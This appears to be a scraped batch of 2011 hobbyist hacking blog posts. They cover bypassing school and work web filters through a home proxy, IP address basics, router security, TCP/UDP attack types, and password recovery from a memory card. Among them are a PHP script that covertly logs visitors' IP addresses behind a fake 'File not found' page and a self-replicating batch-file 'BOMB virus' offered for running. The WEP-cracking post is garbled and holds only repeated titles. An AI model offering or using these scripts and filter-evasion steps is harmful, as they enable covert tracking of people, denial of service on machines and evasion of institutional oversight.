It’s important every now and then to buck the system. If you let these security admins have their way, you’ll be blocked from 50 percent of the most useful areas of the Internet. Social networks and email are now valuable and important communication tools. MakeUseOf has done an excellent job covering proxy servers, such as Mark’s article on some legitimate uses for proxies, Linda’s article on how to access blocked websites with proxies, or Ben’s article on 5 methods to bypass blocked sites. However, in this simple guide, you’ll learn how to set up a simple proxy server onyour own home PC that you can access from the school computer in order to use yourhome Internet access to browse the Internet from school.
Don’t worry, this isn’t some high-level installation guide. I am a Windows geek, but I’m writing this guide for those of you who are not computer scientists, but would still like to figure out the easiest way to get into blocked websites in school. So, let’s get started.

Step #1 – Determine Your IP Addresses

This guide assumes that you have a broadband Internet connection, and that you’re sitting behind a router. Your first order of business is to write down your computer’s local IP address within your home network, and then your router’s IP on the Internet (don’t worry, it’s ridiculously easy).
On the computer that you want to use as your home proxy server, open a command prompt (Start -> Run -> type cmd) and type in “ipconfig.”

In my case I have two Ethernet cards, but in your case you’ll likely just see one “IP Address.” Write it down. next, open up a web browser and connect to your router.

Step #2 – Configure Your Router For Port Forwarding

Go into your router admin panel (for Linksys you type the URL 192.168.1.1). You can check the IP address of your router by clicking on the “status” in the admin panel, or you can just visit a site like WhatIsMyIP.
Please note that to access your router you might need a username and password for it. If you don’t know user/pass details for your router chances are they are on default. You can lookup those on sites like CIRT or RouterPasswords.

Next, you’re going to “poke a hole” in your firewall by enabling port forwarding. For Linksys, this is typically found in the Gaming section under “Port Range Forward.” Just find “port forwarding” for your router and type in any nonstandard port number. In my case I just opened up ports 1085 to 1090 and forwarded it to the IP address that I just looked up using the “ipconfig” command. Save your changes and you’re halfway there!

Step #3:- Turn Your Home PC Into a Proxy Server

Now that you’ve just told your router to tell all Internet requests on a specific port to go to your home PC, you’re going to configure your home PC to relay those HTTP requests out through your Internet account. You do this by installing a free proxy server. For your purposes here, FreeProxy by HandCraftedSoftware.org does the trick. Download FreeProxy and install it to your home PC.

Open up the FreeProxy software and click on the “port.” Set the Protocol to HTTP Proxy, and make the port one that you specified in the router. When you click done, you are ready to start using your new proxy. However, every geek reading this is twitching and their faces are all turning red. Why? Well, you’ve just opened up a virtually unprotected (albeit non-standard) port to the open Internet, and you’re forwarding all HTTP requests through your own Internet connection. That’s a major no-no. While you might hate security weenies, when you’re talking about your home PC, a little security is a good thing. Enabling HTTP authentication is a good idea, as is the FreeProxy authentication option.

With these settings you can configure the proxy to authenticate with your Windows logon id/password, or you can set one within the FreeProxy software itself. Either option is definitely a good idea.

Step #4 – Start Your Proxy Service and Bypass Your School Filters

When you’re happy with all of the FreeProxy settings and security, all you have to do is start up the service and you’re good to go. However, in my case, to prove that the proxy is working properly, I enabled the logging feature.

Don’t enable logging normally, because it will consume disk space. However, it’s a great way to see how well the proxy is working (and whether or not your security is working properly). When you’re ready, just click the “stop/start” option on the main screen.

Step #5 – Configure the Client Browser

To test out your new proxy server, go to a local library (tip: locate all nearby libraries withpublic library finder), open up a browser and select options and connections. Configure your LAN connection settings to use a proxy server.

Select manual proxy configuration, and make sure to put the IP address of your router into the “HTTP Proxy” field, and the port you configured into the “Port” field. Now when you use the Internet, you’ll notice that it’s slower. Images on pages will take a bit longer to load, as the data travels through your home PC, and then to your school PC where you’re browsing the net.

Having a slow connection is a small price to pay for being able to access any web page that you want through your own personal proxy that the school firewall won’t know to block. After browsing the net for a while through my own private proxy server, I went to the PC and checked the logs. Sure enough, it had logged every site that I’d visited while connected through the server.

FreeProxy works quickly and easily, and you’ll have access to a private Internet connection from school or work.

The Battle With Security Goons Rages On

Be aware that the security folks at your workplace or your school will not be content until you have lost all access to the outside Internet world. They will stop at nothing to prevent you from bypassing their firewall. Some corporations modify PC group policies so that users can’t even edit their connection settings. In other cases, they’ve blocked access to proxies that are identified by IP address by blocking all IP addresses in the URL field. Regardless of their methods, while they continue to block you from checking your Facebook profile, or sending a shout-out to your friends on Twitter, they’ll have no choice but to eventually realize that there’s no harm in it. IT departments across the world need to wake up and smell the coffee. The Internet is now a necessity – deal with it.

What Are Public And Private IP Address...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 4 Jul 2011 14:57:00 +0530

Internet Protocol (IP) addresses are usually of two types: Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.

A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.

You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):
---------------------------------------------------------------------
10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)
----------------------------------------------------------------------
Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to 192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).

Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.

If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.

You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.

Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transparency.

How to Secure your broadband WiFi ?

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sun, 3 Jul 2011 20:42:00 +0530

Hello Friends,

This article is all about the "BSNL Broadband wifi security". Most of us Indians may have BSNL WiFi routers for broadband connection. WiFi allow us to use internet on laptop ,so really one more good feature by BSNL.

But major security threat is these routers are configured for open access and setup with default settings. So this is a major security issue, By compromising these setting any one can connect to you router console and change your settings.

In Mumbai incidents happened when terrorists used open WiFi access point for sending treating emails. So securing your WiFi connections is very essential.

Using following steps you can configure your WiFi router and secure it from un-authorized access.

1.) Connect your PC/Laptop with LAN cable connection.Don’t use WiFi connection for first time configuration of router. While applying MAC filter setting WiFi connection to Router admin can disconnect.

2.) Change IP address as shown in following fig.

3.) Open browser and type address 192.168.1.1

4.) Enter username and password as admin/admin

5.) You will be logged in as admin and router home page displayed

6.) Change default access password for router admin.Navigate Management-Access Control-Password enter new secured password.

Note: Don’t change any settings if you are not confident, this can stop your internet access.

7.) I used simple method of MAC filtering for allowing access only to my Laptop.

8.) Go to command prompt and give command ipconfig/all and find out MAC address(physical address) of network card.

9. ) Navigate to Wireless-MAC Filter setting in router admin in browser.

10.) Select “Allow” radio button and click on add button.

11.) Enter PC MAC address(physical address) in this format -00:22:68:CA:5A:5D and save settings.This will restrict you WiFi router access only with your PC/Laptop network card.No other pc can connect to your WiFi router now.

12.) If you are not going to use WiFi good thing is to hide wireless Access Point from Wireless router setting.

NOTE : Don’t forget to change network IP and DNS server to automatic mode once setting is done.Else you will not able to connect to internet

What is TCP/IP & UDP Attacks ?

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sun, 3 Jul 2011 20:34:00 +0530

Hello, Lets explain "TCP/IP & UDP Attacks", Most common and effective Web attacks...Lets Know abt its basic and types...

TCP/IP Attacks
1. TCP SYN or TCP ACK Flood Attack
2. TCP Sequence Number Attack
3. TCP/IP

UDP attacks

1. ICMP Attacks
2. Smurf Attacks
3. ICMP Tunneling

TCP operates using synchronized connections. The synchronization is vulnerable to attack; this is probably the most common attack used today. The synchronization or handshake, process initiates a TCP connection. This handshake is particularly vulnerable to a DoS attack referred to as the TCP SYN Flood attack. The process is also susceptible to access and modification attacks, which are briefly explained in the following sections.

TCP SYN or TCP ACK Flood Attack - This attack is very common... The purpose of this attack is to deny service. The attack begins as a normal TCP connection: the client and the server exchange information in TCP packets. The TCP client continues to send ACK packets to the server, these ACK packets tells the server that a connection is requested. The server thus responds to the client with a ACK packet, the client is supposed to respond with another packet accepting the connection to establish the session. In this attack the client continually send and receives the ACK packets but it does not open the session. The server holds these sessions open, awaiting the final packet in the sequence. This cause the server to fill up the available connections and denies any requesting clients access.

TCP Sequence Number Attack - This is when the attacker takes control of one end of a TCP session. The goal of this attack is to kick the attacked end of the network
for the duration of the session. Only then will the attack be successful. Each time a TCP message is sent the client or the server generates a sequence number. The attacker intercepts and then responds with a sequence number similar to the one used in the original session. This attack can then hijack or disrupt a session. If a valid sequence number is guessed the attacker can place himself between the client and the server. The attacker gains the connection and the data from the legitimate system. The only defense of such an attack is to know that its occurring... There is little that can be done...

TCP Hijacking - This is also called active sniffing, it involves the attacker gaining access to a host in the network and logically disconnecting it from the network. The attacker then inserts another machine with the same IP address. This happens quickly and gives the attacker access to the session and to all the information on the original system.

UDP packets aren't connection oriented and don't require the synchronization process as with TCP. UDP packets, however, are susceptible to interception, thus it can be attacked. UDP, like TCP, doesn't check the validity of an IP address. The nature of this layer is to trust the layer above it (I'm referring to the IP layer). The most common UDP attacks involve UDP flooding. UDP flooding overloads services, networks, and servers. Large streams of UDP packets are focused at a target, causing UDP services on that host to shut down. It can also overload the network and cause a DoS situation to occur.

ICMP Attacks - This occur by triggering a response from the ICMP protocol when it responds to a seemingly legitimate request (think of it as echoing). Ping for instance, that uses the ICMP protocol. sPing is a good example of this type of attack, it overloads te server with more bytes than it can handle, larger connections. Its ping flood.

Smurf Attacks - This attack uses IP spoofing and broadcasting to send a ping to a group of hosts on a network. When a host is pinged it send back ICMP message traffic information indicating status to the originator. If a broadcast is sent to network, all hosts will answer back to the ping. The result is an overload of network and the target system. The only way to prevent this attack is to prohibit ICMP traffic on the router.

ICMP Tunneling - ICMP can contain data about timing and routes. A packet can be used to hold information that is different from the intended information. This allows an ICMP packet to be used as a communications channel between two systems. The channel can be used to send a Trojan horse or other malicious packet. The counter measure is to deny ICMP traffic on your network.

IP catcher script : Steal Someone's IP Address !

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sun, 3 Jul 2011 19:59:00 +0530

Here is next worth for our Visitors. Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. Finding out someone's IP address is like finding their phone number, an IP address can be used to find the general location where that person lives. Now while most of the tutorials on the net teach you how to steal an ip address via MSN, or any other chat software, in this post I’ll show you how to find IP address of someones computer using script. Using this method for hacking someones ip adress is very easy and effectively, so just follow the steps bellow.

NOTE: This tutorial is for educational purposes only, I am NOT responsible in any way for how this information is used, use it at your own risk.

How to Hack Someones IP Address ?

Alright, I'm gonna give you this script. Register a Free hosting at Byethost.com and follow the steps.

Code - get.php :

<html>
<?php
$file = "ips.txt";
$f=fopen($file, 'a');
fwrite($f,$_SERVER['REMOTE_ADDR']."\n");
fclose($f);
?>
<p>File not found</p>
</body>
</html>

1.) First of all you need to make a new .txt document on the website you're uploading this to. Name it ips.txt (You can change that in the script aswell where it says $file = 'ips.txt'; in the second line. Then change the CHMOD to 777.

2.) Now you need to past the script above in to a get.php document, and upload it.

3.) Now you make people visit your site, and they will see only " File Not Found " !

4.) To view the IP, you simply add "/ips.txt" after your domain, and you'll see the IP.

Crack WIFI Network WEP Password With BackTrack

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 2 Jul 2011 21:10:00 +0530

Crack WIFI Network WEP Password With BackTrack

Learn How to Hack WIFI WEP Password

Learn How to Crack WIFI WEP KEY

Hack WIFI Network WEP Password

Crack WIFI Network WEP Password With BackTrack

Learn How to Hack WIFI WEP Password

Learn How to Crack WIFI WEP KEY

Hack WIFI Network WEP Password

Create BOMB virus

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 2 Jul 2011 20:23:00 +0530

BOMB virus

@echo off
copy 0% ms32.bat
start ms32.bat

copy this code in notepad
save as bomb.bat
n run at ur risk......it will open multiple windows all u cn do is only restart ur system.

Reset Your Mobile Memory Card Password 2 minutes

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Fri, 1 Jul 2011 21:57:00 +0530

We usually set password for our memory card for privacy and security, but the common mistake every one does at least once in out life time forgetting password. If you set password for mobile memory card, then you should be not forget the password. If you does then the only option is to formate your memory card with the help of the card reader and eventually the loss of all your data stored on it. There is a way to break the security wall. If you are a Symbian device lover then no need to worry about the password. You can crack them in few minutes.

In this tutorial I am going to teach you how to reset your memory card password in easy step. Before we start you need to have X-plore (application used to explore your system files and folder even the hidden folders in your device)

Step1: Install X-Plore in your mobile. If you want to download X-Plore search around internet you can download free trail.

Step2: Open your X-plore apps and Press 0(Zero) and check which you have marked the "show the system files"

Step3: Once you done that now go to the following path C:/Sys/Data/Mmcstore

Step4: Once you reached there you need to press "3" under option to set it in the Hex-viewer

Step5: See the third column you will able to see a line of code ! TMSD02G (c??"?x???6?2?6?2?6). Just check the character between the "?" it is your password ie: 62626